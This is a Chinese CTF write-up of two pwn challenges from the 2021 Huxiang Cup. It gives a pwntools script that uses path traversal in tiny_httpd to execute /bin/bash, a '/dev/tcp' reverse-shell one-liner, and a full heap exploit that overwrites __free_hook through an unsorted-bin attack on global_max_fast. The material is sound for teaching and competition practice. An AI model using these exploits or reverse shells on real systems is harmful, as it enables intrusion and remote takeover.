2021湖湘杯pwn
1.tiny_httpd 这个题直接给出了源码,分析源码可以发现他会将两个连续的’.’变成一个,并且path是我们可以控制的,这就造成了漏洞。
路径确定后如果cgi=1那么就会执行文件,如果为0就会查看文件。
一开始的思路就是利用目录穿越直接查看flag,结果发现seeve_file的file路径被写死。
所以得利用目录穿越执行/bin/bash,要使其可执行,就必须是cgi=1。要使cgi=1有两种方法,第一种是利用POST请求,第二种方法是利用GET请求但需要加?+参数,但由于并不知道参数名,所以我们只能使用POST的传参。
使用POST的传参是需要注意,一定要在后面添加content-length。
exp:
1 2 3 4 5 6 from pwn import * io=remote('127.0.0.1',9990) payload='POST /.../.../.../.../.../.../.../.../.../bin/bash\r\nContent-length: 100\r\n' io.sendline(payload) io.interactive()
但因为程序使用了dup2(cgi_output[1],STDOUT);dup2(cgi_input[0],STDIN);
将输入输出重定向了,所以我们并不能得到回显,因此需要我们反弹shell。
我们先监听要反弹shell的端口
在交互下执行
1 bash -i >& /dev/tcp/ip/port 0>&1
就可以拿到新的shell了。
关于这个重定向,我找到了写出这个[web服务的作者]( C - C语言实现最简单的HTTP服务器 - SegmentFault 思否 ),它里面给出了一张图,很直观。
小插曲 :在看到这个反弹shell的命令时,我问了问fmyyy👴他的原理是啥,他紧接着发了个命令给我
然后我就天真的执行了(emmmmmmmmmm)
好家伙,直接言传身教,学到了,学到了。
2.双边协议3.0 还记得双边协议1.0是红名谷杯的题,这个是他的加强版。
这个题在当时做的时候逆了一天才把他的输入给绕过,赛后得wjh师傅和darry师傅帮助终于把这个题完整的复现了出来。
我们先看下这个程序他干了什么。
将所有的输出先进行一系列异或操作,然后使用base64加密输出
将我们的输入先进行base64解密,解出的前八位是固定字符串’lanlanww‘,第八到第十六位是大小(要求不能大于0x4f),从第16位开始到最后需要对其进行一系列异或解密,解密后的字符被读入。
只能允许我们申请0x110大小的chunk。可以对其编辑和删除
允许输出堆的内容,但会先将要输出的内容进行一系列异或解密,然后对其惊醒一系列异或加密输出。
留有后门函数,可以申请0x2000以上大小的chunk,可以free并且不置0,可以对其进行一次写操作,可以在申请一个0x3918大小的chunk。
编辑删除输出都取决于ptr+0x108是否为0
麻烦的其实就是逆这个异或算法了(对逆向爷来说都是小case),每轮都会取一个随机数作为密钥key,然后将ptr+0x100内的数据逐个和这个key异或,这个key将会被随机插入到ptr+0x50内的任意一个位置,并且在最后也就是每轮i的位置记录key的位置。直到i=ptr+0xfe
正因为i记录了key的位置,因此我们就可以直到每轮key的位置了,因此就可以从后往前将每轮的key值取出,异或回去得到原来的置。解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import base64 a='d3duYWxuYWwWAAAAAAAAABZ0TQ8cTkxVIkQhUxdLW20mQA5CWQgtF0xJAVJAXXBheyhCPlxhNGoHMkhyNiByaGxbKn12TUBBLVs9ZEpBWxDQ0HtmFAxOBtDQNyjQ0G4qcNBi0BhAARHQ0NDQ0Dl/0NBjZ9DQRDwJ0NB2fxhZI9DQ0EJEdtDQ0NDQBtAY0NA20A3Q0NBj0NAaLNDQYCzQ0NAM0EjQatDQ0C/Q0BvQ0NDQ0NDQ0G3Q0CkpUCs+SyYrOC5xIGIfTXAIcAV6UndRTxQdBzAWZWx9OmhWISdEelxcMHR+YlRXEXl8VTR4UUFYd2VLHiAkMjQ4AUJsHm8aLio+WFYFaVhtTxM1F05VIgg=' print(hex(len(a))) mingwen=base64.b64decode(a.encode()) mingwen=mingwen[16:] #print(mingwen) s=[] for i in mingwen: s.append(i) print(s) for i in range(0xff,0x4f,-2): key = s[s[i]] for j in range(i): s[j] ^= key #dele key for k in range(s[i],i): s[k] = s[k+1] string='' #s=s[:32] print(s) for i in s: string+=chr(i) print(string)
那我们该如何绕过输入呢,我们可以看见每次会从最后将key的位置取出然后和数据异或,因此我们只需要使其取出的值为0即可。因此我们可以这样写:
1 2 3 payload='a'*0x10 payload=payload.ljust(0x80,'\x00') payload=payload.ljust(0x100,'\x12')
本以为可以进行交互这个题就差不多了,但一直泄露不了libc_base,原因是一直被ptr+0x108这里的值给卡住了,最后问了wjh师傅说可以向前溢出,我才发现这里还有一个漏洞。
一开始我以为_BYTE这个类型是不会存在负值的,但调试发现是有负值的,因此就可以向前溢出,因为获得key之后就会将其删除,从后面补上,如果key的位置在chunk前面,那么只需要补一个值就行,因此就可以将1变成0。
因为远程环境是libc2.23,所以0x120大小的chunk会被放入unsortedbin中,因此我们想到打global_max_fast,利用unsrotedbinattack将global_max_fast改为一个很大的值,然后我们可以利用那个后门函数申请0x3918大小的chunk,因为将此chunkfree后正好就是free_hook的位置,然后改此chunk的fd指针为system函数的地址。最后在申请一下0x3918大小的chunk就可以将free_hook的值覆盖为system的地址了。
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 from pwn import * import base64 io=process('./Maybe_fun_game_3') elf=ELF('./Maybe_fun_game_3') libc=elf.libc #io=remote('47.93.163.42', 36479) context.log_level='debug' def decode(a): mingwen=base64.b64decode(a.encode()) mingwen=mingwen[16:] #print(mingwen) s=[] for i in mingwen: s.append(ord(i)) #print((s)) for i in range(0xff,0x4f,-2): key = s[s[i]] for j in range(i): s[j] ^= key #dele key for k in range(s[i],i): s[k] = s[k+1] string='' s=s[:8] for i in s: string+=chr(i) b=u64(string) return b def inputs(choice): a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00' b=str(choice) b=b.ljust(0x60,'\x00') b=b.ljust(0x100,'\x06') mingwen=base64.b64encode(a+b) print(mingwen) return mingwen def add(a1,s): choice=inputs(1) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) size=inputs(a1) io.sendlineafter('=\n',size) a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00' content=base64.b64encode(a+s) io.sendlineafter('=\n',content) io.recvuntil('=\n') def add2(a1): choice=inputs(1) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) size=inputs(a1) io.sendlineafter('=\n',size) io.recvuntil('=\n') def dele(a1): choice=inputs(2) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) index=inputs(a1) io.sendlineafter('=\n',index) io.recvuntil('=\n') def edit(a1,s): choice=inputs(3) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) index=inputs(a1) io.sendlineafter('=\n',index) a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00' content=base64.b64encode(a+s) io.sendlineafter('=\n',content) io.recvuntil('=\n') def show(a1): choice=inputs(4) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) index=inputs(a1) io.sendlineafter('=\n',index) def exp(): choice=inputs(5) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) size=inputs(14616) io.sendlineafter('=\n',size) io.recvuntil('=\n') payload='a'*0x10 payload=payload.ljust(0x80,'\x00') payload=payload.ljust(0x100,'\x12') add(56,payload)#0 payload1='deadbeef'*0x2 payload1=payload1.ljust(0x60,'\x00') payload1=payload1.ljust(0xff,'\x12') payload1+='\xe8' add(56,payload1)#1 add(56,payload1)#2 dele(0) show(1) io.recvuntil('=\n') io.recvuntil('=\n') show(0) a=io.recvuntil('=') print('a',a) malloc_hook=decode(a)-16-88 libc_base=malloc_hook-libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) io.recvuntil('=\n') onegadget=[0x45226,0x4527a,0xf03a4,0xf1247] global_max_fast=libc_base+0x3c67f8 system=libc_base+libc.symbols['system'] edit(0,p64(malloc_hook+88+16)+p64(global_max_fast-0x10)) add(56,'/bin/sh\x00')#3 #free(v3) choice=inputs(5) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) #Content choice=inputs(5) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) io.recvuntil('=\n') io.recvuntil('=\n') a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00' content=base64.b64encode(a+p64(system)) io.sendline(content) gdb.attach(io) choice=inputs(5) io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.recvuntil('=\n') io.sendline(choice) dele(3) io.interactive() exp()